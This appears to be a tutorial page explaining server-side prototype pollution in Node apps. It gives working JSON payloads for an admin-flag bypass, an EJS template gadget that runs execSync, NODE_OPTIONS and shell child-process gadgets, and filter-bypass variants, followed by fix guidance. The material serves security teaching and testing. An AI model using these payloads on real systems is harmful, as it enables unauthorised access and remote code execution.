Prototype Pollution: The Complete Practical Guide

Server-Side Prototype Pollution

How server-side prototype pollution works in Node: a JSON body merged into config pollutes every object, flipping flags and reaching RCE through a gadget.

Published

Server-side prototype pollution takes a JSON body merged into config and poisons every object in a Node process, from flipping an auth flag to reaching remote code execution through a gadget. This page covers the attack and its RCE gadgets. Practice on a free live target.

The vulnerable pattern

Many Node apps deep-merge a JSON request body into an options or config object: a profile update, a settings save, a bulk import. If the merge walks keys and assigns through them, a __proto__ key in the body writes onto Object.prototype, which is shared by every object in the process.

Step 1 and 2: pollute via the body

Send the pollution to a body-merging endpoint with Content-Type: application/json:

POST /api/settings HTTP/1.1
Host: target.example
Content-Type: application/json
 
{"__proto__":{"isAdmin":true}}
HTTP/1.1 200 OK
Content-Type: application/json
 
{"ok":true}

Nothing visibly happens, but every object in the process now inherits isAdmin: true. A later request whose authorization check reads an inherited isAdmin is now privileged:

GET /api/admin/users HTTP/1.1
Host: target.example
Cookie: session=normaluser
HTTP/1.1 200 OK
Content-Type: application/json
 
[{"id":1,"email":"[email protected]"},{"id":2,"email":"..."}]

The check if (user.isAdmin) passed because user had no own isAdmin and inherited the polluted default.

Impact beyond flag flips

auth flips        isAdmin / isAuthenticated / role read as an inherited default
DoS               corrupt a default the app depends on (a required option, a limit)
RCE gadget        set up a template or child_process gadget (below)

RCE gadgets (with preconditions)

RCE needs a reachable gadget. Two well-known families:

Template gadget. Pollute a compile option the engine concatenates into code it evaluates. The classic is EJS outputFunctionName (CVE-2022-29078, EJS before 3.1.7), so the next render executes attacker code:

{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');//"}}

(process.mainModule is the published-PoC form and works in a CommonJS app started from a file. It is undefined under ESM or node --eval, so the gadget as written assumes a CommonJS entry point.) Pug and Handlebars have their own compile-internal gadgets. The precondition is a template render after the pollution.

Child-process gadget. Two distinct mechanisms with different mitigations.

NODE_OPTIONS through the environment. process.env reaches Object.prototype through its prototype chain, and Node's spawn code iterates the environment in a way that includes inherited keys, so a polluted NODE_OPTIONS is passed to a spawned Node child as a real environment variable. This survives the options-cloning fix below, but --require must point at a file that parses as JavaScript, so a writable path is the clean route. (--require=/proc/self/environ only works if you can also make that file valid JS, which is a second injection.)

{"__proto__":{"NODE_OPTIONS":"--require=/tmp/x.js"}}

shell / execArgv through the options object. A later spawn/exec whose options object inherits a polluted shell or execArgv runs code. Modern Node hardened this (PR #48726 around v18.18/v20.6, and #53781) by cloning options with a null prototype, so it lands on older Node or apps still passing a pollutable options object.

{"__proto__":{"shell":"/bin/sh"}}

The template gadget above is often the more dependable route.

Edge variants

{"constructor":{"prototype":{"isAdmin":true}}}
{"__proto__":{"json spaces":9}}

The constructor.prototype form reaches the same object when __proto__ is filtered, and json spaces is a detection probe (next spoke).

Fixing it

  • Deep-merge with helpers that skip __proto__/constructor/prototype, or use Object.create(null) targets.
  • Schema-validate the body and reject those keys recursively before any merge.
  • Keep Node and template engines current so known gadgets and the child_process vector are patched.

Full guidance is in preventing prototype pollution. This sits next to insecure deserialization in the Node-RCE family. Next, confirm a blind pollution in detecting server-side prototype pollution, or try it on a free lab.

← Back to Prototype Pollution: The Complete Practical Guide